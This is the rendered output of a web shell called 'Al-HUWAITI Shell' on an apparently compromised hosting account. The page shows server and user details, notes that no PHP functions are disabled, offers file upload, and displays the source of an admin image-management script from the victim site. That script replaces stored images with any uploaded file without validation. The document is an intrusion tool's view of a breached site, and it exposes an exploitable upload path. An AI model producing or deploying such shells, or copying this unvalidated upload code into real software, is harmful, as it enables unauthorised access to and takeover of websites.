Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/bond-lounge.com/public_html/admin9120/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/bond-lounge.com/public_html/admin9120/images.php
<?php session_start();
header("Cache-Control: no-cache, no-store, must-revalidate");
header("Pragma: no-cache");
header("Expires: 0");
$page_name = basename($_SERVER['PHP_SELF']); 
include("headerstrict.php"); ?>
<title><?php echo $company_name; ?>, Admin, Images</title>

<!-- ======= Breadcrumbs ======= -->
<section id="breadcrumbs" class="breadcrumbs">
  <div class="container"> </div>
</section>
<!-- End Breadcrumbs -->
<!-- ======= Contact Section ======= -->
<section id="contact" class="contact inner-page">
	<div class="container" data-aos="fade-up">

	<div class="section-title">
		<h2>Other Images</h2>
		<p></p>
	</div>

	<div class='row'>
	<?php $x="x";
	$stmt = $con -> prepare('SELECT * FROM general_images ORDER by photo_order'); 
	$stmt -> execute(); 
	$stmt -> store_result(); 
	$stmt -> bind_result($id,$po,$picture,$size); 
	$numrows = $stmt -> num_rows();
	if($numrows > 0){
		while ($stmt -> fetch()) { 
			$imagePath = "../site_img/general/$picture";
			$imageInfo = getimagesize($imagePath);
			if ($imageInfo) {
				$width = $imageInfo[0];
				$height = $imageInfo[1];
				$pic_info = "$width$x$height";
			} else {
				$pic_info = "Failed to get image size";
			}

			if($pic_info == $size){
				$pic_info_color = "forestgreen";
			}
			else{
				$pic_info_color = "red";
			}
		echo"			
		<div class='col-md-4'>
		<form action='";?><?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?><?php echo"' method='post'class='php-email-form1'enctype='multipart/form-data'>
			
			
			<div class='form-row'>
				<div class='form-group col-md-12'> <h3>$picture</h3>
					<label style='font-weight:900;'>Recommended Size - $size</label>
					<label style='font-weight:900;color:$pic_info_color !important;'>Current Size - $pic_info</label>
					<img style='width:100%;border-radius:5px;height:300px;object-fit:cover;' src='../site_img/general/$picture' class='img-fluid' alt=''>
				<input type='file' name='fileField$id' class='form-control'/> 
				</div>
			</div>
		
			
			<div class='text-center'>
				<a class='btn btn-primary' href='../site_img/general/$picture'>View</a>
				<button type='submit' name='update$id'>Update</button>
			</div>
		
		</form>
		</div>
		
		";
		if (isset($_POST["update$id"])) {
			
			if( ($_FILES["fileField$id"]["type"]=="") == false ){
				unlink("../site_img/general/$picture");
				move_uploaded_file( $_FILES["fileField$id"]['tmp_name'], "../site_img/general/$picture");
			}
			
			//create a session to verify it's coming from here
			$_SESSION["action"] = "true";
			$message="Update was successfully done.";
			echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name&m=$message\">";
		}
						
		}
	}
			
		?>
	</div>

    </div>
</section><!-- End Contact Section -->
<?php include("footer.php"); ?>

Al-HUWAITI Shell